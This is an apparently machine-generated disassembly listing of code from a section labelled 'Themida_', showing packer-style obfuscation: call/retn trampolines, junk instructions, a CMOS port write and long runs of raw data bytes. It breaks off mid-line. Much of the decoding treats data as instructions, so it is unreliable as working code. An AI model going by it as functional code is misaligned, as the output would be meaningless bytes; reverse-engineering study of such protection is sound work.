0D1DAB56Ah, 0D074B97Dh, 0CCD0BAA6h, 0DC82B4ABh ; =============== S U B R O U T I N E ======================================= sub_58BF34 proc near ; CODE XREF: Themida_:0058BF1Bp ; FUNCTION CHUNK AT 0058BFE2 SIZE 0000001D BYTES mov esi, [ebp+61011ADh] pop edi cmp dword ptr [ebp+614082Bh], 0 jz loc_58BF54 mov [ebp+6102099h], eax jmp loc_58BFE2 ; --------------------------------------------------------------------------- cld loc_58BF54: ; CODE XREF: sub_58BF34+Ej mov dword ptr [ebp+614082Bh], 1 push 0 push edx call sub_58BF69 and [edx-3Dh], bl sub_58BF34 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58BF69 proc near ; CODE XREF: sub_58BF34+2Dp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_58BF69 endp ; --------------------------------------------------------------------------- push cs retf ; --------------------------------------------------------------------------- sub cl, bl mov dh, 15h ror byte ptr [ecx+1030AD85h], 1 push es jmp loc_58BFE2 ; --------------------------------------------------------------------------- push 0 push edx call sub_58BF96 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BF96 proc near ; CODE XREF: Themida_:0058BF8Ep arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58BF96 endp ; --------------------------------------------------------------------------- dw 93ECh dd 64654D2Fh db 37h, 43h, 69h ; --------------------------------------------------------------------------- loc_58BFAF: ; CODE XREF: Themida_:0058BF15j mov dword ptr [ebp+614082Bh], 0 push 0 push ecx call sub_58BFC4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BFC4 proc near ; CODE XREF: Themida_:0058BFBCp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58BFC4 endp ; --------------------------------------------------------------------------- dd 661B891Ch, 51B1DE81h, 71B8DE81h db 0DAh, 1Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BF34 loc_58BFE2: ; CODE XREF: sub_58BF34+1Aj ; Themida_:0058BF86j lea ebx, [ebp+6102875h] mov [ebp+6101651h], esi and dword ptr [ebx], 0FFFFFEFFh push 0 push edx call sub_58BFFF and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_58BF34 ; =============== S U B R O U T I N E ======================================= sub_58BFFF proc near ; CODE XREF: sub_58BF34+C3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_58BFFF endp ; --------------------------------------------------------------------------- db 0A4h db 0CCh db 5Fh, 3Ah, 0Fh dd 689h, 0C5BD0900h ; --------------------------------------------------------------------------- or [eax], edx push es loc_58C01F: ; CODE XREF: Themida_:0058BECAj mov bx, ds jnb loc_58C02E xor edi, 499A2649h loc_58C02E: ; CODE XREF: Themida_:0058C022j jmp loc_58C044 ; --------------------------------------------------------------------------- db 0F0h ; --------------------------------------------------------------------------- frstor byte ptr [edi-2Fh] pusha add [edx+105EFA64h], ah setalc push 1F5A390h loc_58C044: ; CODE XREF: Themida_:loc_58C02Ej test bl, 4 jz loc_58C0B3 push 0 push ebx call sub_58C058 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C058 proc near ; CODE XREF: Themida_:0058C050p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_58C058 endp ; --------------------------------------------------------------------------- dd 191B8763h, 6E2C83F4h, 1C1DB58Bh, 95FF0610h, 6100DC9h dd 21CD9D89h, 81660610h, 909AF8E7h, 9050F18Bh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 67C35343h, 0B4B564B3h dd 0A5B58BA4h ; --------------------------------------------------------------------------- adc [eax], dl push es loc_58C0B3: ; CODE XREF: Themida_:0058C047j jmp loc_58C49B ; --------------------------------------------------------------------------- mov esi, [ebp+6102EC5h] mov al, 0 push 0 push edx call sub_58C0CB and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C0CB proc near ; CODE XREF: Themida_:0058C0C3p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_58C0CB endp ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- jmp loc_58C0F5 ; --------------------------------------------------------------------------- db 3, 28h, 0BCh dd 0EF6F762Ah, 0A3E041BFh, 7A370505h, 0FCFCE970h db 1 ; --------------------------------------------------------------------------- loc_58C0F5: ; CODE XREF: Themida_:0058C0DCj out 70h, al ; CMOS Memory: ; used by real-time clock push 0 push ecx call sub_58C102 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C102 proc near ; CODE XREF: Themida_:0058C0FAp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ah inc ecx push ecx retn sub_58C102 endp ; --------------------------------------------------------------------------- dw 0DB5Bh dd 6BE1EA5Bh, 998D8902h, 0E8061011h, 11h, 8ECC4560h, 6E4890A7h dd 3D968738h, 0FDCBA7FFh, 19BD290Dh, 5F061021h, 6A71E4h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0C3E708C3h, 29515E0Eh, 1020B9BDh, 0B60F5F06h, 57006AD8h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0A9ECDA1Eh, 16F1BD8Bh, 6BA0610h, 89000000h, 10170D85h dd 66C38B06h, 45FCCE81h, 6604E8C1h, 0EA5CF681h, 6AE2F766h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 0A438C350h, 6F49F3B3h, 0F28BC0B8h, 0F681D82Bh dd 6957DF6Fh, 6A935093h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 0B6E5C351h, 0FFF98B3Fh dd 100055B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 2F35EBC4h, 31C995FFh, 0BD8B0610h dd 6101DB1h, 0BD8B00B0h, 6102EEDh, 6A70E6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 3D263BC3h dd 0A4411B4Fh, 0E856D4EAh, 0Ah, 63D5B97Ch, 76FF8613h, 0BD8B7EEAh dd 6101311h, 0F71E45Fh, 613CF7BFh, 21D830Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 9FBD6CC3h, 8166045Ah, 0FEB78EFh, 820FD8B6h, 0Ch, 6830Fh dd 0B58B0000h, 61016F1h, 6BAh, 0CF816600h, 0B58B7208h dd 6100A01h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 0E85647C3h, 13h, 0F4AB8C49h, 77474EA5h dd 0DA5C65B5h, 2CE64552h, 8B315863h, 100225BDh, 895F5F06h dd 101C458Dh, 4E8C106h, 66FAB70Fh, 8A0FE2F7h, 6, 1671B52Bh dd 0D7810610h, 75556029h, 6AD82Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0FE49EC3h, 686h, 0FDB52900h dd 5806100Eh, 5860Fh, 0ECBF0000h, 2B697C78h, 34880FD8h dd 6A000001h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 9E17C350h, 0F27B4742h, 37036C3Eh dd 21B1BD03h, 7B90610h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 126EC351h dd 89C255A9h, 10284585h, 0C18306h, 111B529h, 0D93B0610h dd 0CD860Fh, 8B520000h, 1011BDB5h, 8C665F06h, 0A1BD8BD9h dd 0F6061010h, 840F04C1h, 8Ah, 33358D89h, 95FF0610h, 6100DC9h dd 8E9h, 0B9FA5100h, 4AE348EBh, 6A5B67h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 0F10CA1C3h dd 0EB38C293h, 2A81BD89h, 0C32B0610h, 8F82EF81h, 343D3133h dd 0F000008h, 3586h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 89CAF31Eh, 1012D9B5h dd 35E906h, 9D890000h, 6102AF1h, 0D618531h, 0C08B0610h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 8BC35343h dd 82D91466h, 9B58B4Fh ; --------------------------------------------------------------------------- adc dl, [eax] push es loc_58C49B: ; CODE XREF: Themida_:loc_58C0B3j mov eax, ebx mov ebx, eax push 0 push eax call sub_58C4AA and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C4AA proc near ; CODE XREF: Themida_:0058C4A2p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ch inc eax push eax retn sub_58C4AA endp ; --------------------------------------------------------------------------- dw 0C1F6h dd 563C150Ah, 0C770992Dh, 102AB185h, 73EFB306h, 0B58B5072h dd 6102229h, 6AC08B5Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 43C5C351h, 55684177h dd 9D09C03Bh, 6102229h, 55BD81h, 7D00610h, 850F0000h, 28h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D1C35343h dd 1659BD09h, 85FF0610h, 6100055h, 55B5FFh, 8D290610h dd 61020CDh, 31C995FFh, 6A0610h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 2EADCBC3h, 11B52BB3h dd 8B061013h, 101561B5h, 81669006h, 6A99AEF6h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0BD8DC355h, 564A3036h, 0DACDAB13h, 7E9F5h, 0E1980000h dd 71A91689h, 666060B4h, 66D6F2BBh, 0FA606BAh, 8Fh, 0B5316100h dd 61007C5h, 1AC58D8Bh, 0AE90610h, 5A000000h, 0EA0EB722h dd 0E913FCA6h, 8589614Dh, 61012A9h, 15E5BD8Bh, 0B5890610h dd 6102F8Dh, 75BD8952h, 5F06101Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0FFC35545h, 0BD31FD06h, 610084Dh dd 9B3BF66h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 61C35646h, 4BB4B241h, 6A367Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 3FA7F3C3h dd 0E84E223Bh, 0Fh, 1244CE63h, 0F1923137h, 0DEE6C739h dd 66CE30FAh, 0F9BD4EBEh, 0FA8B665Fh, 22E9FE8Bh, 89FFFFF8h dd 1001E9BDh ; --------------------------------------------------------------------------- push es loc_58C689: ; CODE XREF: Themida_:0058BEA0j mov eax, ecx jmp short loc_58C691 ; --------------------------------------------------------------------------- align 10h db 0 ; --------------------------------------------------------------------------- loc_58C691: ; CODE XREF: Themida_:0058C68Bj push ebx pop esi mov esi, ebx jmp loc_58C6A9 ; --------------------------------------------------------------------------- dw 0B47Dh dd 69B703ECh, 0A69D586Fh, 87FEA92Dh db 8Ch ; --------------------------------------------------------------------------- loc_58C6A9: ; CODE XREF: Themida_:0058C695j lea eax, [ebp+61013B9h] push 0 push esi call sub_58C6BA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C6BA proc near ; CODE XREF: Themida_:0058C6B2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_58C6BA endp ; --------------------------------------------------------------------------- dw 7C26h ; --------------------------------------------------------------------------- mov al, ds:2B5C64ACh jg $+6 nop jmp loc_58C6E5 ; --------------------------------------------------------------------------- db 6Ah, 4Ah, 0F8h dd 64B4F56Ch ; --------------------------------------------------------------------------- movsb loc_58C6E5: ; CODE XREF: Themida_:0058C6D8j push eax nop or [ebp+6101A9Dh], ebx push 0 mov edi, 41A71105h push 0 push 0 push edx call sub_58C701 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C701 proc near ; CODE XREF: Themida_:0058C6F9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58C701 endp ; --------------------------------------------------------------------------- scasd push 0FFFFFFFEh retn 0F035h ; --------------------------------------------------------------------------- mov word ptr [eax], fs retf 8174h ; --------------------------------------------------------------------------- dd 94EA5DEFh, 0BD858927h, 8D061006h, 1413D885h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 24F852h, 0EDBEF746h, 237DBD0Ch, 101D75BDh, 5C08306h dd 8E9h, 64512500h, 0EA3FD063h, 8B66507Dh, 240489F8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 21C35747h, 0BF9B9739h dd 8D95895Dh, 6A06101Fh, 6A006A00h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 81DEC353h dd 32A18529h, 95FF0610h, 6101D19h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0FDC35040h, 0EE9D5h, 0C7A10000h dd 76FCDB5Eh, 304CD9h, 0DDA731D2h, 0AFD89D8Dh, 95890613h dd 6102F91h, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 84C227C3h, 0ABC5A7A9h, 6860FAFh dd 81000000h, 1F857ACFh, 1985FF27h, 3061014h, 101281BDh dd 5DBD8B06h, 0E9061029h, 798h, 0E8h, 0ED815D00h, 61413E2h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0BBC35343h dd 5267489Fh, 6448D630h, 0C6BE66E8h, 55BD812Dh, 0D0061000h dd 0F000007h, 14686h, 9D8BF900h, 6100BA5h, 4D7AEF81h, 0E381271Bh dd 100h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 0EEC35040h, 0CF11F9A9h, 7187E9FDh, 0D9BD8B2Ah dd 0B061013h, 94850FDBh, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0A658C352h dd 66FA8B32h, 0BD83F78Bh, 6141222h, 11840F00h, 0F000000h dd 288h, 0E9FB8B00h, 67h, 0A85FBE66h, 122285C7h, 10614h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h dd 55450000h, 8B2E32C3h, 950160F3h, 610003Dh, 1D159589h dd 0E9610610h, 27h, 12E9h, 569D8800h, 0D66171CCh, 66C13A4Fh dd 0FDBF7BF2h, 0C7786099h, 14122285h, 6, 44DF8100h, 8D689EBAh dd 100BA59Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 831950B6h, 0BD8960C3h, 6102AF9h dd 6E1BD8Bh, 81610610h, 0FFFEFF23h, 50006AFFh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 29958903h dd 6606101Fh, 0B58BDB8Ch, 61030E5h, 0F04C3F6h, 0A084h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 0EC218E7Eh, 8B2C20DEh, 102D01B5h, 0C995FF06h dd 6A06100Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 3BB9C352h, 0FB78C1D4h, 0FCAB0C93h dd 2FD1B501h, 0E9900610h, 7, 0B1C8805Dh, 5003276Eh, 12E890h dd 45870000h, 13ADEE19h, 2717EC28h, 0F8B42962h, 0D3B952A6h dd 11E9h, 3F865300h, 0EE9E0B00h, 8A440664h, 0D017DA9h dd 0E95F4D7Eh, 5, 63CAF960h, 32FE91Eh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0D9D2B8C3h, 0F301120h, 888h, 28F0F00h, 60000000h, 24BE6661h dd 6000B0D3h, 2418D31h, 11E90610h, 2E000000h, 0EDFDEB2Ch dd 0E1831778h, 0B5723902h, 0ED54F972h, 8970E661h, 100125B5h dd 8DB58B06h, 0E406100Fh, 57006A71h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 96026C4Fh dd 8925F682h, 102885BDh, 0D8B60F06h, 6BAF9h, 8B520000h dd 1006FDB5h, 0C38B5F06h, 7F1BD33h, 0BD890610h, 6100525h dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0E0EFC353h, 0FA6E9A01h, 65958920h dd 6606100Dh, 2BF5E2F7h, 56006AD8h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 0DA97A265h, 50F08B93h dd 840Fh, 0F8930000h, 55B5FFh, 0BD8B0610h, 6100125h, 0C9BD8Bh dd 95FF0610h, 61031C9h, 14E8h, 7D119700h, 43AE5C79h, 0B12AE9D6h dd 39A23F58h, 7F5A10D2h, 7BE662Dh, 0B05EAAh, 1311B58Bh dd 70E60610h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0C2C35040h, 8F0FCC2Bh, 6, 21CD9589h, 71E40610h dd 0D2941DBEh, 41953105h, 3C06102Fh, 0AA830F61h, 81000001h dd 640766EEh, 0D8B60F70h, 21E5B58Bh, 6BA0610h, 29000000h dd 101FC185h, 49B58B06h, 8B061005h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 302C6DC0h dd 0DDB38E20h, 6A04E8C1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0DB8C352h, 6645D4AFh dd 69D6E681h, 81E2F766h, 0B4BB8ECEh, 60D82B0Bh, 8D00D081h dd 0FE8A5A3Eh, 89536061h, 101E81B5h, 0F98B5E06h, 0BD8B5861h dd 6103189h, 880FD82Bh, 10Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 24C35040h, 0D7F128DEh, 0BB60B408h dd 282E125Ch, 0B488BA66h, 118C0F61h, 0E9000000h, 0Ch, 0D2A55052h dd 317C4DA4h, 378B929h, 7B9h, 41BD2B00h, 83061031h, 6A00C1h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0A9A7CDC3h, 13335250h, 8A0F9196h, 0 ; --------------------------------------------------------------------------- mov esi, 511526h cmp ebx, ecx jbe loc_58CDB9 push 0 push edx call sub_58CD40 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CD40 proc near ; CODE XREF: Themida_:0058CD38p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58CD40 endp ; --------------------------------------------------------------------------- dd 309640FCh, 2360E8EAh, 1010B19Dh, 0BD8D8B06h, 61061011h dd 0FD98C66h, 860FF1BFh, 6, 317DB58Bh, 0C1F60610h, 38840F04h dd 0F000000h, 95FFF6B7h, 6100DC9h, 8BF55BF8h, 100075BDh dd 3DC32B06h, 834h, 19860Fh, 29600000h, 103081BDh, 0B1B26006h dd 0D38166h, 0E96161E4h, 5, 8BF9B70Fh db 0C0h ; --------------------------------------------------------------------------- loc_58CDB9: ; CODE XREF: Themida_:0058CD2Fj mov eax, ebx mov ebx, eax mov [ebp+61021C1h], edi mov dword ptr [ebp+6102875h], 18D6D51Bh push 0 push edx call sub_58CDD8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CDD8 proc near ; CODE XREF: Themida_:0058CDD0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 16h inc edx push edx retn sub_58CDD8 endp ; --------------------------------------------------------------------------- adc [eax-7E62760Fh], ecx sbb al, 10h push es mov eax, eax push 0 push edi call sub_58CDFE and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CDFE proc near ; CODE XREF: Themida_:0058CDF6p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_58CDFE endp ; --------------------------------------------------------------------------- dw 2BF3h dd 0C7F511DFh, 0B58BD052h, 6103055h, 55BD81h, 7D00610h dd 850F0000h, 28h, 66C4BBBEh, 5585FF7Ch, 56061000h, 0FE8h dd 0DC0100h, 0AF682BCEh, 0F8BE79h, 5FA454CAh, 2269B52Bh dd 5F5F0610h, 55B5FFh, 6A0610h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0C1B7CBC3h, 0F160879h dd 38Eh, 0F08B6600h, 2A018D89h, 95FF0610h, 61031C9h, 799B58Bh dd 6A900610h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0C897C357h, 8D8B603Eh, 6103071h dd 8459D89h, 60600610h, 14E961h, 3CB30000h, 10FF90D4h dd 4399CC1h, 150533ECh, 76DC6F6Dh, 61F810F9h, 6890F61h dd 89000000h, 10020DBDh, 95958906h, 6A06101Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 81BAC352h, 0E94E2FFEh, 8D89ACB2h, 6100FE5h, 2151BD23h dd 6E90610h, 36000000h, 8D0703FCh, 57006A65h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2460D564h dd 238A0Fh, 8B600000h, 1030EDBDh, 12E906h, 8DA60000h, 0FFB9F68Eh dd 0F1FBA6C3h, 3D0AF920h, 0E49373CBh, 61CBB70Fh, 51006AFCh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0F88B3FBFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0DAC35141h, 7436998Bh, 514F20B7h, 30E1B58Bh, 0E95E0610h dd 0FFFFF884h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 2DC35242h, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 2A9E2FC3h, 0EE264AA0h dd 0B589B0BCh, 6100EEDh, 4EBh, 95890000h, 6101149h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0B5C35747h, 337646D1h dd 0B9858D77h, 0F061013h, 884h, 8C0F5700h, 0 ; --------------------------------------------------------------------------- pop edi push eax mov [esp], eax push 0 push eax call sub_58D05C and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D05C proc near ; CODE XREF: Themida_:0058D054p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Ah inc eax push eax retn sub_58D05C endp ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 64h dec ebp mov esp, 89238199h test [ecx+29061005h], esi test edx, ebp adc [eax], edx push es push 0 push 0 push edi call sub_58D08C and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D08C proc near ; CODE XREF: Themida_:0058D084p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_58D08C endp ; --------------------------------------------------------------------------- dd 7F712244h, 535E4FBAh, 0DCBE6688h, 19B501EFh, 6A061016h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 90C68246h, 84E4B291h, 20959D01h, 0BD310610h dd 610190Dh, 1D81858Dh, 0C0830614h, 905F5705h, 50F98B66h dd 4A7BE60h, 8B667372h, 6A9061DAh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 1500C350h dd 0C96785FAh, 8E9h, 63490F00h, 417674E7h, 6A006AF9h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 4D75C356h, 3475BF43h, 6880FD5h, 29000000h, 10158195h dd 6A006A06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 0BB3CC355h, 2282CABEh, 8B2A04CFh dd 1995FFF3h, 6A06101Dh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 76E4C351h, 26B26B71h dd 0D89D8D46h, 890613AFh, 1016CD8Dh, 6AD3FF06h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 3699C356h, 4F20B774h, 0BD8B43E4h, 61032C5h, 141985FFh dd 0BD330610h, 61014B1h, 8B2E9h, 0E800h, 815D0000h, 141D8BEDh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 306410DCh, 0BF662688h, 0BD81BB67h, 6100055h dd 7D0h, 19D860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 0AB4FCDC3h, 0BD8B95E9h dd 6101A95h, 1685BD2Bh, 95310610h, 610327Dh, 419D8Bh, 6A0610h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 96A58CC3h, 0E999A103h, 10h, 238AE67Bh, 35B99C41h, 0E5A2B325h dd 3AEE7C74h, 100E381h, 0F560000h, 587h, 0C002BF00h, 0B5E3D9Ah dd 0B4850FDBh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0F456C357h, 1B36D6A6h dd 13E8h, 95207D00h, 0C6C35FABh, 0B0EED2B7h, 20D48C44h dd 0F96A1082h, 5E9h, 28B63400h, 835E2B19h, 141BA3BDh, 840F0006h dd 31h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h dd 75C35747h, 960AE95h, 100DC5BDh, 0F9B70F06h, 5EE961h dd 0BF0F0000h, 0A385C7F0h, 106141Bh, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 0BDEC350h, 536221ACh, 2BE9h, 0C7F78B00h, 141BA385h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 5F504C14h, 419D8Dh, 0E6810610h, 4FA655BFh dd 0FEFF2381h, 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0D2368FC3h, 0D1BD8B57h, 66061005h dd 0B58BDB8Ch, 610108Dh, 0F04C3F6h, 8284h, 14E900h, 0E4370000h dd 0DC3315EBh, 0A5D28C1Ah, 4E2AC4DCh, 22E5087Eh, 8A0F3048h dd 0 dd 0DC995FFh, 11E80610h, 0E2000000h, 0B5FFDB6Fh, 0B469DADDh dd 0AC9ACFB8h, 9DB80286h, 0E853905Fh, 0Fh, 0F1C6E5A4h dd 0A387B05h, 61A06736h, 668A6CF7h, 5E5FF88Bh, 65B96050h dd 610BA188h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1404h, 0C3574700h, 0D9BD8B1Ch, 0E906102Eh, 3D0h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 15C35747h, 0CD4D0743h dd 0E0D719BCh, 56BE6699h, 0D3B86083h, 233FBC72h, 1008E18Dh dd 0B06106h, 32CF8166h, 29BD8B0Fh, 0E6061023h, 50006A70h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 897754BBh, 101C15BDh, 0F7816606h, 71E459BBh, 1DA1BD8Bh dd 0B60F0610h, 69BD8BD8h, 0BA06101Ah, 6, 13E9h, 0B7373800h dd 0C25F640Dh, 33DC1A8Ch, 47894075h, 0B2C4EC8h, 6AC38Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 4059A4C3h, 607AC70Dh, 0E9600D13h, 0Dh, 568DFEEFh, 461323FCh dd 616078D0h, 23BE6637h, 0E8C161C8h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 8A452EC7h dd 8BE2F766h, 1005F9B5h, 0FB8B6606h, 11E8D82Bh, 0A0000000h dd 7E045FCh, 8A8BBDC0h, 47405356h, 4A9B64C9h, 6830Fh, 0B5010000h dd 610085Dh, 7EBF505Eh, 8911EBAAh, 6A241Ch, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 539B72C3h dd 7599D09h, 0FF5F0610h, 100055B5h, 25B58B06h, 0FF06102Fh dd 1031C995h, 6DB58906h, 0B006100Dh, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 816615E0h dd 0E62CF3EFh, 0BE71E470h, 36056A57h, 2785B589h, 613C0610h dd 222830Fh, 0BF660000h, 0B60FAF5Dh, 0C5B58BD8h, 0BA061031h dd 6, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h dd 2C35040h, 0F6B70F93h, 956C38Bh, 101CB19Dh, 8B665E06h dd 4E8C1FEh, 0CE9h, 10AA9900h, 118BD202h, 98F8E689h, 0E2F76647h dd 11E8h, 3CFEBC00h, 3C6C7171h, 6DCE6A5Fh, 13EF131Ah, 2B5F4B92h dd 51006AD8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 0F9BF0F4Ah, 57006A58h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 35F07499h dd 0C2760726h, 8B666C7Dh, 0FD82BF1h, 16388h, 4820F00h dd 66000000h, 0B92B9BBFh, 7, 